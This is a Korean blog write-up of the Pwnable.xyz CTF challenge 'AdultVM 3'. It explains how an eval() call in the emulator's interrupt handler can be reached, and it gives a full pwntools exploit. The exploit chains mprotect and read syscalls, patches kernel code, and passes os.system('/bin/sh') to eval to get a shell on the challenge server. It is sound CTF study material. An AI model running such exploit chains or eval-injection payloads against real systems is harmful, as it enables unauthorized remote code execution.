tmxklab

[Pwnable.xyz] AdultVM 3 본문

War Game/Pwnable.xyz

[Pwnable.xyz] AdultVM 3

tmxk4221 2020. 9. 9. 22:37

1. 문제

nc svc.pwnable.xyz 30048

 

AdultVM시리즈의 마지막 문제이다. 여기서는 flag3.txt파일 내용을 읽는 것을 목표로 한다.

 


2. 접근방법

 

AdultVM, 2에서는 flag.txt, flag2.txt파일을 유저 영역 또는 커널 영역에 로드하는 것을 확인할 수 있지만 flag3.txt파일에 대한 로직은 전혀 찾아 볼 수 없다.

 

[ start.py ] - handle_kernel_interrupt()

def handle_kernel_interrupt(uc, intno, data):
    if intno == 0x70:
        rax = uc.reg_read(UC_X86_REG_RAX)
        if rax == 0:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            uc.mem_protect(rdi, rsi, rdx)
        elif rax == 7:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            buf = str(eval(str(uc.mem_read(rdi, rdx))))
            uc.mem_write(rsi, buf)
            uc.reg_write(UC_X86_REG_RAX, len(buf))

이전 AdultVM2에서 봤듯이 인터럽트가 발생할 때 호출되는 콜백 함수이다. 여기서 rax값이 7이면 eval()가 호출되는 것을 알 수 있다. Pyjail관련 문제를 풀 때 종종 봤을 것이다. 해당 함수는 파이썬 내장 함수로 문자열로 표현된 파이썬 코드를 실행하는 함수이다. 해당 함수를 이용하면 서버의 쉘을 딸 수 있을 것 같다.

 

+) uc.mem_read(rdi, rdx) : rdi가 가리키는 값을 rdx만큼 가져오는 것 같다. 그리고 결과 값을 buf에 저장시키고 다시 rsi에 저장한다.

 

먼저 rax를 7로 세팅하고 syscall을 하면은 커널에서 어떻게 처리되는지 확인해보자

이전 mprotect를 실행시킬 때는 int 0x70을 통해 인터럽트를 발생시키는데 해당 로직에는 전혀 구현이 안되어 있다. 따라서 rax에 7을 세팅하고 syscall을 해도 handle_kernel_interrupt() 콜백함수가 실행되지 않는다.

 

따라서 이번에도 AdultVM2와 동일하게 mprotect를 통해 권한을 얻고 int 0x70을 포함한 커스텀 코드를 패치하자


3. 풀이

 

1) 익스코드

from pwn import *

context(log_level="debug", arch="amd64", os="linux")

#p = process(["python", "start.py"])
#p = process("./userland")
p = remote("svc.pwnable.xyz", 30048)

kernel_addr = 0xFFFFFFFF81000000
kernel_stack = 0xFFFF8801FFFFF000
unmmap_addr = 0xFFFFFFFF8100013E
syscall_addr = 0x4000338
read_addr = 0x400000f
notes_addr = 0x4100380
custom_code = '''
    inc r8
    mov rdx, rdx
    mov rax, 7
    int 0x70
    iret
'''
binsh = "os.system(\"/bin/sh\")"

def edit(idx, content):
    p.sendlineafter("3. Exit\n", str(1))
    p.sendlineafter("Note id: ", str(idx))
    p.sendlineafter("Contents: ", content)

def show(idx):
    p.sendlineafter("3. Exit\n", str(2))
    p.sendlineafter("Note id: ", str(idx))


for idx in range(0, 9):
    edit(idx, "A")

# 1. do_read() 
# Input notes[0] -> 0x10
payload = "A"*0x8
payload += p64(notes_addr)      # rsi(buf)
payload += p64(0x28)            # rdx(count)
payload += p64(0xff)*2
payload += p64(read_addr)

edit(9, payload)
show(0)

# 2. write & execute sys_mprotect
# sys_mprotect : rax = 0xa, rdi = start, rsi = len, rdx = prot 
payload = p64(10)               # rax(syscall number)
payload += p64(kernel_addr)     # rdi(kernel)
payload += p64(0x10000)         # rsi(len)
payload += p64(7)               # rdx(rwx)
payload += p64(syscall_addr)    # call __syscall()

sleep(0.1)
p.send(payload)
show(0)

# 3. sys_read
# input binsh(string) at (kerenl_stack - 0x1000)
payload = "A"*0x8
payload += p64(0)                   # rax(syscall number)
payload += p64(0)                   # rdi(fd)
payload += p64(kernel_stack-0x1000) # rsi(buf)
payload += p64(len(binsh))          # rdx(count)
payload += p64(syscall_addr)        # call __syscall()

edit(9, payload)
show(0)

sleep(0.1)
p.send(binsh)

# 4. sys_read
# input custom code at sys_unmmap
custom_code = asm(custom_code)

payload = "A"*0x8
payload += p64(0)                   # rax(syscall number)
payload += p64(0)                   # rdi(fd)
payload += p64(unmmap_addr)         # rsi(buf)
payload += p64(len(custom_code))    # rdx(count)
payload += p64(syscall_addr)        # call __syscall()

edit(9, payload)
show(0)

sleep(0.1)
p.send(custom_code)

# 4. sys_unmmap() -> custom_code
# eval(str(uc.mem_read(rdi, rdx)))
payload = "A"*0x8                   
payload += p64(11)                  # rax(syscall number)
payload += p64(kernel_stack-0x1000) # rdi = "os.system('/bin/sh')"
payload += p64(0)                   # rsi
payload += p64(len(binsh))          # rdx(count)
payload += p64(syscall_addr)        # call __syscall()

edit(9, payload)
show(0)

p.interactive()

 

2) 실행결과

 


4. 몰랐던 개념

 

참고)

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] attack  (0) 2020.09.09
[Pwnable.xyz] note v5  (0) 2020.09.09
[Pwnable.xyz] AdultVM2  (0) 2020.09.09
[Pwnable.xyz] AdultVM  (0) 2020.09.09
[Pwnable.xyz] note v4  (0) 2020.09.09
Comments